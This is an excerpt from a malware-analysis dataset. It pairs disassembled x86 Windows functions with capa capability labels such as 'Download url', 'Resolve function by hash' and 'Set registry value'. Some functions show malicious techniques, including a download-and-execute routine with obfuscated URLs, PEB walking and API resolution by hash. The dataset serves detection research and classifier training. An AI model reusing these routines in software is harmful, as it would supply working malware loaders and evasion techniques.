joyce8/EMBER2024-capa huggingface dataset:
Function at 0x607ba0
Capabilities:
Copy file
Create process on windows
Download url
Get file attributes
Receive data
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x618c48
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x70
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
add eax, 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1b7740
call esi
mov eax, 0x6bea74
sub eax, 0x1a457640
push eax
lea ecx, [ebp - 0x43]
call fcn.00607a20
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0x1f4
call esi
mov ecx, 0x6bea98
sub ecx, 0x1a457640
push ecx
lea ecx, [ebp - 0x43]
call fcn.00607a20
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
push 0x1f4
call esi
mov edx, 0x6beabc
sub edx, 0x1a457640
push edx
lea ecx, [ebp - 0x43]
call fcn.00607a20
xor ebx, ebx
mov edi, 0xf
mov ecx, eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x64], edi
mov dword [ebp - 0x68], ebx
mov byte [ebp - 0x78], bl
lea esi, [ecx + 1]
nop
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x607c50
sub ecx, esi
push ecx
push eax
lea ecx, [ebp - 0x7c]
call fcn.00407140
push 0x6edc32ce
lea ecx, [ebp - 0x22]
call fcn.00607a70
mov esi, eax
mov ecx, esi
mov byte [ebp - 4], 3
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x4c], ebx
mov byte [ebp - 0x5c], bl
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x607c84
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x60]
call fcn.00407140
mov ecx, dword [ebp - 0x5c]
mov edi, 0x10
cmp dword [ebp - 0x48], edi
jae 0x607ca7
lea ecx, [ebp - 0x5c]
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x64], edi
jae 0x607cb2
lea eax, [ebp - 0x78]
push ebx
push ebx
push ecx
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
push 0x565240f3
lea ecx, [ebp - 0x35]
call fcn.00607ac0
push 0x6edc32f6
lea ecx, [ebp - 0x22]
mov esi, eax
call fcn.00607a70
push 1
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x5652411b
lea ecx, [ebp - 0x35]
call fcn.00607ac0
mov esi, eax
mov edx, 0xd5
xor ecx, ecx
jmp 0x607d00
mov al, byte [ecx + 0x6beb30]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ebp + ecx - 0x11], al
jns 0x607d1d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 4
jl 0x607d00
push ebx
push ebx
push ebx
push esi
lea ecx, [ebp - 0x11]
push ecx
push ebx
mov byte [ebp - 0xd], bl
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x6edc3326
lea ecx, [ebp - 0x22]
call fcn.00607a70
push eax
call fcn.005e1a97
add esp, 4
cmp dword [ebp - 0x48], edi
jb 0x607d5c
mov edx, dword [ebp - 0x5c]
push edx
call fcn.005bd360
add esp, 4
cmp dword [ebp - 0x64], edi
pop edi
pop esi
mov dword [ebp - 0x4c], ebx
mov byte [ebp - 0x5c], bl
mov dword [ebp - 0x48], 0xf
pop ebx
jb 0x607d7d
mov eax, dword [ebp - 0x78]
push eax
call fcn.005bd360
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x404d80
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov edi, dword [ebp + 8]
mov edi, dword [edi]
push edi
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
pop edi
mov esi, ecx
not esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
lea eax, [eax + 0x10]
push dword [eax]
xor eax, eax
push edx
mov ecx, dword [edx + 0x30]
movzx ebx, byte [eax + edi]
movzx edx, byte [ecx + eax*2]
sub ebx, edx
cmp ebx, 0
je 0x404dc7
cmp ebx, 0x20
je 0x404dc7
cmp ebx, 0xffffffe0
je 0x404dc7
jne 0x404dd0
add eax, 1
cmp esi, eax
je 0x404ddd
jne 0x404dac
pop edx
mov edx, dword [edx]
xor eax, eax
pop ebx
cmp ebx, edx
push ebx
je 0x404de1
jne 0x404da8
pop edx
mov eax, dword [edx + 0x18]
leave
ret 4

Function at 0x404df5
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
sub esp, 0x10
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x24]
mov ecx, dword [edx]
test eax, eax
je 0x404eb6
test ecx, ecx
je 0x404eb6
mov ebx, dword [eax + 0x3c]
mov edx, dword [ebx + eax + 0x78]
mov ebx, dword [ebx + eax + 0x7c]
test edx, edx
je 0x404eb6
test ebx, ebx
je 0x404eb6
mov ebx, eax
add ebx, edx
je 0x404eb6
mov esi, dword [edx + eax + 0x18]
test esi, esi
je 0x404eb6
cmp dword [edx + eax + 0x14], 0
je 0x404eb6
mov edi, dword [edx + eax + 0x20]
mov ebx, dword [edx + eax + 0x24]
add edi, eax
mov edx, dword [edx + eax + 0x1c]
add ebx, eax
add edx, eax
test esi, esi
jbe 0x404eb6
mov dword [esp], edx
xor ebp, ebp
mov dword [esp + 0xc], edi
mov dword [esp + 4], esi
mov dword [esp + 8], ecx
mov eax, dword [esp + 0xc]
mov edi, dword [esp + 8]
movzx ecx, word [ebx + ebp*2]
mov esi, dword [eax + ebp*4]
add esi, dword [esp + 0x24]
mov dl, byte [edi]
cmp dl, byte [esi]
jne 0x404ea6
test dl, dl
je 0x404ea2
mov dl, byte [edi + 1]
cmp dl, byte [esi + 1]
jne 0x404ea6
add edi, 2
add esi, 2
test dl, dl
jne 0x404e86
xor eax, eax
jmp 0x404eab
sbb eax, eax
or eax, 1
test eax, eax
je 0x404ec2
inc ebp
cmp ebp, dword [esp + 4]
jb 0x404e73
xor eax, eax
add esp, 0x10
pop ebx
pop edi
pop esi
pop ebp
ret 8
mov edx, dword [esp]
mov edx, dword [edx + ecx*4]
mov eax, dword [esp + 0x24]
add eax, edx
add esp, 0x10
pop ebx
pop edi
pop esi
pop ebp
ret 8
Function at 0x405e23
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x405e51
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x405e48
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x405e40
mov eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x405e72
mov esp, ebp
pop ebp
ret

Function at 0x405e76
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0x10]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x405ee2
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x405f0f
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x405efe
xor ecx, eax
xor edx, ebx
dec edi
jne 0x405eef
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x405f35
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x405ed6
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
pop ecx
pop edx
pop edi
pop ebx
pop esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x405f61
mov esp, ebp
pop ebp
ret 0xc
Function at 0x406d40
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
lea eax, [esp + 0x14]
push edi
push eax
mov dword [esp + 0x1c], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esp + 0x84]
xor edi, edi
cmp eax, edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x58], edi
mov dword [esp + 0x44], 1
je case.0x406d81.2
mov ecx, dword [esp + 0x7c]
lea eax, [ecx - 1]
cmp eax, 5
ja case.0x406d81.2
jmp dword [eax*4 + 0x406e0c]
mov word [esp + 0x48], di
jmp 0x406dba
mov word [esp + 0x48], 2
jmp 0x406dba
mov word [esp + 0x48], 3
jmp 0x406dba
mov word [esp + 0x48], 4
jmp 0x406dba
mov word [esp + 0x48], 7
jmp 0x406dba
mov word [esp + 0x48], 5
lea edx, [esp + 8]
mov ecx, dword [esp + 0x64]
lea eax, [esp + 0x18]
push edx
push eax
push edi
push edi
push edi
push 1
push edi
push edi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, eax
cmp esi, edi
je 0x406e04
cmp dword [esp + 0x70], edi
je 0x406df0
mov edx, dword [esp + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esp + 0xc]
push ecx
call edi
mov eax, esi
pop edi
pop esi
add esp, 0x54
ret

Function at 0x4071a0
Capabilities:
Query environment variable

Disassembly:
push ebp
push esi
push edi
push 0x104
call fcn.004067a0
mov ebp, dword [esp + 0x18]
add esp, 4
mov edi, eax
push 0x104
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, eax
cmp esi, 0x104
jbe 0x4071f7
push ebx
push edi
call fcn.00406840
push esi
mov ebx, esi
call fcn.004067a0
add esp, 8
mov edi, eax
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, eax
cmp esi, ebx
ja 0x4071ce
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x407290
Capabilities:
Delete registry key
Delete registry value

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push ebp
push esi
push edi
push eax
call fcn.00407ce0
mov edi, dword [esp + 0x28]
mov ebp, eax
push edi
xor esi, esi
call dword [0x431164]
add esp, 8
test ebp, ebp
je 0x40735a
test eax, eax
je 0x40735a
inc eax
push ebx
push eax
call fcn.00408017
mov ebx, eax
or ecx, 0xffffffff
xor eax, eax
push 0x5c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00407ff0
mov esi, eax
add esp, 0xc
test esi, esi
je 0x4072fc
mov byte [esi], 0
inc esi
lea eax, [esp + 0x10]
push eax
push 0xf003f
push 0
push ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x407336
mov ecx, dword [esp + 0x10]
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [esp + 0x10]
mov esi, eax
neg esi
sbb esi, esi
push edx
inc esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x407349
mov eax, dword [esp + 0x28]
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
neg esi
sbb esi, esi
inc esi
push ebx
call fcn.00407fe1
add esp, 4
mov eax, esi
pop ebx
pop edi
pop esi
pop ebp
pop ecx
ret
mov eax, esi
pop edi
pop esi
pop ebp
pop ecx
ret
Function at 0x407370
Capabilities:
Set registry value

Disassembly:
mov eax, dword [esp + 0x28]
sub esp, 0x18
push ebx
push ebp
xor ebx, ebx
xor ebp, ebp
cmp eax, 0x80000301
ja 0x4073f1
je 0x4073e2
cmp eax, 0x80000101
ja 0x4073db
je 0x4073e2
cmp eax, 0x80000004
je 0x4073bc
cmp eax, 0x80000005
jne 0x407406
mov eax, dword [esp + 0x40]
mov dword [esp + 8], 3
test eax, eax
je 0x407453
mov ebx, dword [eax + 4]
lea ebp, [eax + 8]
jmp 0x407453
mov eax, dword [esp + 0x40]
mov dword [esp + 8], 1
push eax
call dword [0x431164]
mov ebp, dword [esp + 0x44]
mov ebx, eax
add esp, 4
inc ebx
jmp 0x407453
cmp eax, 0x80000201
jne 0x407406
mov ebx, 4
lea ebp, [esp + 0x40]
mov dword [esp + 8], ebx
jmp 0x407453
cmp eax, 0x80000401
je 0x40743e
cmp eax, 0x80000501
je 0x407426
cmp eax, 0x80000601
je 0x40740e
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
fld qword [esp + 0x40]
mov ebx, 4
mov dword [esp + 8], ebx
call fcn.00407f18
mov dword [esp + 0xc], eax
jmp 0x40744f
fld dword [esp + 0x40]
mov ebx, 4
mov dword [esp + 8], ebx
call fcn.00407f18
mov dword [esp + 0xc], eax
jmp 0x40744f
mov ecx, dword [esp + 0x40]
mov ebx, 4
mov dword [esp + 8], ebx
mov dword [esp + 0xc], ecx
lea ebp, [esp + 0xc]
mov edx, dword [esp + 0x28]
push esi
push edx
call fcn.00407ce0
mov esi, eax
mov eax, dword [esp + 0x3c]
push eax
mov dword [esp + 0x28], esi
mov dword [esp + 0x20], 0
call dword [0x431164]
add esp, 8
test esi, esi
je 0x40752c
test eax, eax
je 0x40752c
inc eax
push edi
push eax
call fcn.00408017
mov edi, dword [esp + 0x40]
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x5c
mov eax, ecx
mov esi, edi
mov edi, edx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov dword [esp + 0x2c], edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00407ff0
mov esi, eax
add esp, 0xc
test esi, esi
je 0x4074ce
mov byte [esi], 0
inc esi
mov edi, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x18]
push 0
push ecx
push 0
push 0x20006
push 0
push 0
push 0
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x407522
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x18]
push ebx
push ebp
push eax
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x407517
mov dword [esp + 0x1c], 1
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.00407fe1
add esp, 4
pop edi
mov eax, dword [esp + 0x18]
pop esi
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x4075a0
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x4075be
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x4075b3
pop esi
ret
Function at 0x402dfc
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
call fcn.00402e7c
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push dword [ebp + 8]
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
cmp dword [ebp - 8], esp
je 0x402e43
push 0x2d
push 0x40aa5a9
push 6
call fcn.00440144
add esp, 0xc
mov dword [ebp - 8], esp
push 0xffffffff
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
nop
cmp dword [ebp - 8], esp
je 0x402e74
push 0x67
push 0x40aa5a9
push 6
call fcn.00440144
add esp, 0xc
mov esp, ebp
pop ebp
ret 8
Function at 0x4066a0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
cmp dword [ebp + 0x10], 0
je 0x4066cc
mov eax, dword [ebp + 0x10]
mov dword [ebp - 4], eax
jmp 0x4067b1
cmp dword [ebp + 8], 0
je 0x406718
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push 0x100000
push 2
mov ebx, 0xc8
call fcn.00440c90
add esp, 0x1c
mov dword [ebp - 0xc], eax
push 1
push dword [ebp - 0xc]
push dword [ebp + 8]
call fcn.0040687c
mov dword [ebp - 4], eax
jmp 0x4067b1
push 0x4792ec
mov ebx, dword [ebp + 0x18]
push dword [ebx]
call fcn.00403aa8
add esp, 8
cmp eax, 0
je 0x4067a0
mov dword [ebp - 0xc], 0
push 0
push dword [ebp - 0xc]
push dword [ebp + 0x18]
call fcn.004068e8
mov dword [ebp + 8], eax
cmp dword [ebp + 8], 0
jne 0x40675e
mov eax, 0
jmp 0x406876
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push 0x100000
push 2
mov ebx, 0xc8
call fcn.00440c90
add esp, 0x1c
mov dword [ebp - 0xc], eax
push 1
push dword [ebp - 0xc]
push dword [ebp + 8]
call fcn.0040687c
mov dword [ebp - 4], eax
jmp 0x4067b1
mov dword [ebp - 0xc], 0
push 0
push dword [ebp - 0xc]
call fcn.00402dfc
cmp dword [ebp - 4], 0
je 0x406865
mov dword [ebp - 0xc], esp
push 0
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4067ec
push 0x2a0
push 0x40aa39d
push 6
call fcn.00440144
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp + 0x24], 0
jne 0x406800
mov dword [ebp + 0x20], 0xffffffff
mov dword [ebp - 0xc], esp
push dword [ebp + 0x20]
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x40682f
push 0x316
push 0x40aa39d
push 6
call fcn.00440144
add esp, 0xc
cmp dword [ebp + 0x10], 0
jne 0x406865
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x406865
push 0x36d
push 0x40aa39d
push 6
call fcn.00440144
add esp, 0xc
cmp dword [ebp - 8], 1
mov eax, 0
sete al
jmp 0x406876
mov esp, ebp
pop ebp
ret 0x20
Function at 0x408d9c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], esp
mov ebx, dword [ebp + 8]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
nop
cmp dword [ebp - 4], esp
je 0x408dd3
push 0x12
push 0x409df10
push 6
call fcn.00440144
add esp, 0xc
jmp 0x408dd8
mov esp, ebp
pop ebp
ret 4

Function at 0x40b48c
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
cmp dword [0x57c838], 0
jle 0x40b5d6
mov dword [ebp - 8], esp
push dword [0x57c838]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
nop
nop
cmp dword [ebp - 8], esp
je 0x40b4d8
push 0x6d
push 0x40aa5d8
push 6
call fcn.00440144
add esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jne 0x40b528
mov dword [ebp - 8], esp
push dword [ebp + 0xc]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
nop
nop
cmp dword [ebp - 8], esp
je 0x40b514
push 0xb6
push 0x40aa5d8
push 6
call fcn.00440144
add esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
mov eax, 0
sete al
jmp 0x40b61f
mov dword [ebp - 8], esp
push 1
push dword [0x57c838]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
nop
nop
cmp dword [ebp - 8], esp
je 0x40b55c
push 0xe4
push 0x40aa5d8
push 6
call fcn.00440144
add esp, 0xc
mov dword [ebp - 8], esp
push dword [ebp + 0xc]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
nop
nop
cmp dword [ebp - 8], esp
je 0x40b58b
push 0x132
push 0x40aa5d8
push 6
call fcn.00440144
add esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
mov eax, 0
sete al
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0
push dword [0x57c838]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
nop
nop
cmp dword [ebp - 8], esp
je 0x40b5d1
push 0x15e
push 0x40aa5d8
push 6
call fcn.00440144
add esp, 0xc
jmp 0x40b617
mov dword [ebp - 8], esp
push dword [ebp + 0xc]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
nop
nop
cmp dword [ebp - 8], esp
je 0x40b605
push 0x1ad
push 0x40aa5d8
push 6
call fcn.00440144
add esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
mov eax, 0
sete al
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x40b61f
mov esp, ebp
pop ebp
ret 8

Function at 0x40b834
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], esp
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
nop
nop
cmp dword [ebp - 4], esp
je 0x40b869
push 0x24
push 0x40aa9de
push 6
call fcn.00440144
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
mov eax, 0
setne al
jmp 0x40b87d
mov esp, ebp
pop ebp
ret 4
Function at 0x40b8d4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
push dword [ebp + 0xc]
call fcn.00401e14
mov dword [ebp - 8], eax
push dword [ebp + 0xc]
call fcn.00401ca4
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x40b935
push 0x33
push 0x40aa696
push 6
call fcn.00440144
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x40b93d
mov esp, ebp
pop ebp
ret 8

Function at 0x40b944
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], esp
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x40b98b
push 0
push 0x40aa692
push 6
call fcn.00440144
add esp, 0xc
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
jmp 0x40b996
mov esp, ebp
pop ebp
ret 4

Function at 0x40c490
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push 0
push dword [ebp - 0xc]
push dword [ebp + 0xc]
call fcn.00401cc8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40c4d2
push ebx
call fcn.0044014a
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
lea eax, [ebp - 4]
push eax
call fcn.00401e14
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
push dword [ebp - 0xc]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x40c524
push 0x70
push 0x40aa697
push 6
call fcn.00440144
add esp, 0xc
push 0x80000301
push 0
push dword [ebp - 8]
push VariantCopy
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x40c541
mov eax, 0x4792f0
push eax
push 2
mov ebx, 0x1a0
call fcn.00441860
add esp, 0x1c
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40c56b
push ebx
call fcn.0044014a
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x40c589
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0044013e
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x40c58e
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40c59f
push ebx
call fcn.0044014a
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8
Function at 0x40c5a8
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push dword [ebp + 0xc]
call fcn.0040c634
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40c5e3
mov eax, 0
jmp 0x40c62b
mov dword [ebp - 8], esp
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 8]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
nop
nop
cmp dword [ebp - 8], esp
je 0x40c616
push 0xe1
push 0x409defe
push 6
call fcn.00440144
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40c623
mov eax, dword [ebp - 4]
jmp 0x40c62b
mov esp, ebp
pop ebp
ret 8

Function at 0x40ce7c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], esp
push 1
push 0x4792ec
push 0x4792ec
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.open
push 0
xor eax, eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
cmp dword [ebp - 4], esp
je 0x40cecc
push 0
push 0x40aa292
push 6
call fcn.00440144
add esp, 0xc
mov esp, ebp
pop ebp
ret 4

Function at 0x40d000
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x32
push 1
mov ebx, 0x184
call fcn.00441020
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40d045
push ebx
call fcn.0044014a
add esp, 4
pop eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.00404344
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x40d085
push 0x73
push 0x40aa409
push 6
call fcn.00440144
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40d0b3
mov eax, dword [ebp - 4]
test eax, eax
je 0x40d0ae
push eax
mov ebx, eax
call fcn.00403b48
inc eax
push eax
call fcn.0044013e
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x40d0bd
mov eax, 0x4792ec
jmp 0x40d0bd
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40d0ce
push ebx
call fcn.0044014a
add esp, 4
pop eax
